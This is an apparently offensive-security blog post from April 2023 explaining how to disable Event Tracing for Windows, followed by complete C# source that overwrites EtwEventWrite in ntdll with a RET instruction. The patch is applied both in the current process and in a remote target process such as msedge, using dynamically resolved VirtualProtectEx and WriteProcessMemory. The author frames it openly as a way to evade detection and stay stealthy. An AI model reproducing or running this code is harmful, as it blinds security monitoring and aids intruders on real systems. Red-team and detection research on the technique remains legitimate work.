Patching Event Tracing for Windows (ETW) in C#

Using C# to patch ETW in the current process and a remote process

Event Tracing for Windows - Background

Event Tracing for Windows (ETW) is a powerful performance monitoring tool that gives devs and admins the ability to capture and analyse detailed diagnostic info. ETW is a built-in component of the Windows subsystem that enables developers to collect and store kernel- and user-mode events. These events can be logged, traced, and analysed for various purposes, including performance tuning, debugging, and monitoring. ETW is mainly used for legit purposes, however, from an offensive perspective, ETW can also be used as a means to detect, monitor, and trace malicious activities. Disabling ETW helps evade detection and maintain stealth.

Patching ETW

The C# code below is one method of patching ETW in the current process and a remote target processes to disable ETW. Here’s a breakdown of the general steps:

  1. Obtain the Process ID and Function Addresses

    First, the target process ID is obtined through the GetProcId function. If the arg is a number, it’s treated as a process ID. Otherwise, it’s treated as a process name, and the first matching process is selected. Next, the function addresses for VirtualProtectEx and WriteProcessMemory are obtained from kernel32.dll using the GetLibraryAddress function from D/Invoke.

  2. Find the Base Address of ntdll.dll

    The GetRemoteNtdllBaseAddress function locates the base address of ntdll.dll within the target process by enumerating its loaded modules.

  3. Calculate EtwEventWrite Offset

    The GetEtwEventWriteOffset function calculates the offset of the EtwEventWrite function within ntdll.dll. It first retrieves the address of EtwEventWrite in the local process, then subtracts the local ntdll.dll base address to obtain the offset.

  4. Patch EtwEventWrite

    The PatchEtw function patches the EtwEventWrite function in the curren process and target process. It computes the remote EtwEventWrite address by adding the previously calculated offset to the remote ntdll.dll base address. The function then modifies the remote memory to disable the EtwEventWrite functionality by replacing its first instruction with a RET (0xC3) instruction, disabling the ETW event writing.



EtwPatch.cs

// Author: Shain Lakin

int GetProcId()
{
    if (args.Length == 0)
    {
        args = new string[] { "msedge" };
    }

    if (args[0].All(char.IsDigit))
    {
        //Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
        var pid = int.Parse(args[0]);
        var process = Process.GetProcessById(pid);
        //Console.WriteLine("[+] Handle: {0}\n  [+] Id: {1}", process.Handle, process.Id);
        return process.Id;
    }
    else
    {
        //Console.WriteLine("[+] Getting process ID for target process ({0})", args[0]);
        var name = args[0];
        var process = Process.GetProcessesByName(name).FirstOrDefault();
        //Console.WriteLine("[+] Handle: {0}\n[+] Id: {1}", process.Handle, process.Id);
        return process.Id;
    }
}

//Console.WriteLine("[*] ----- Patching ETW ----- [*]");
int targetProcessId = GetProcId();
Process targetProcess = Process.GetProcessById(targetProcessId);
IntPtr targetProcessHandle = targetProcess.Handle;

Native.VirtualProtectEx VirtualProtectEx;
Native.WriteProcessMemory WriteProcessMemory;

IntPtr vpeAddress = Generic.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
IntPtr wpmAddress = Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");

VirtualProtectEx =
    (Native.VirtualProtectEx)Marshal.GetDelegateForFunctionPointer(vpeAddress,
        typeof(Native.VirtualProtectEx));
WriteProcessMemory =
    (Native.WriteProcessMemory)Marshal.GetDelegateForFunctionPointer(wpmAddress,
        typeof(Native.WriteProcessMemory));

IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
{
    var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>()
        .FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;

    if (ntdllBaseAddress.HasValue)
    {
        return ntdllBaseAddress.Value;
    }
    else
    {
        throw new InvalidOperationException();
    }
}

//Console.WriteLine("[+] NTDLL base address: 0x" + GetRemoteNtdllBaseAddress(targetProcess).ToString("X"));

IntPtr GetEtwEventWriteOffset()
{
    var localNtdllAddress = Generic.GetLibraryAddress("ntdll.dll", "EtwEventWrite");
    var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
    var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;

    return (IntPtr)offset;
}

//Console.WriteLine("[+] ETW decimal offset: {0}", GetEtwEventWriteOffset().ToString());
//Console.WriteLine("[+] ETW hex offset: 0x{0}", GetEtwEventWriteOffset().ToString("X"));

bool checkFlag = false;

void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
{
    const int PAGE_EXECUTE_READWRITE = 0x40;

    if (VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect) == 0)
    {
        //throw new InvalidOperationException("[!] Failed to change memory protection.");
    }

    if (WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _) == 0)
    {
        //throw new InvalidOperationException("[!] Failed to write to the memory.");
    }
    else
    {
        if (checkFlag == false)
        {
            //Console.WriteLine("[+] Patched 0x{0} to 0x{1}", newValue.ToString("X"), address.ToString("X"));
            checkFlag = true;
        }
    }

    if (VirtualProtectEx(processHandle, address, (UIntPtr)1, (int)oldProtect, out _) == 0)
    {
        //throw new InvalidOperationException("[!] Failed to restore memory protection.");
    }
}

void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
{
    IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
    IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);

    byte newValue = 0xC3; // RET
    ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
}

Process currentProcess = Process.GetCurrentProcess();
IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(currentProcess);
PatchEtw(currentProcess.Handle, currentNtdllBaseAddress);

IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);
******
Written by Shain Lakin on 10 April 2023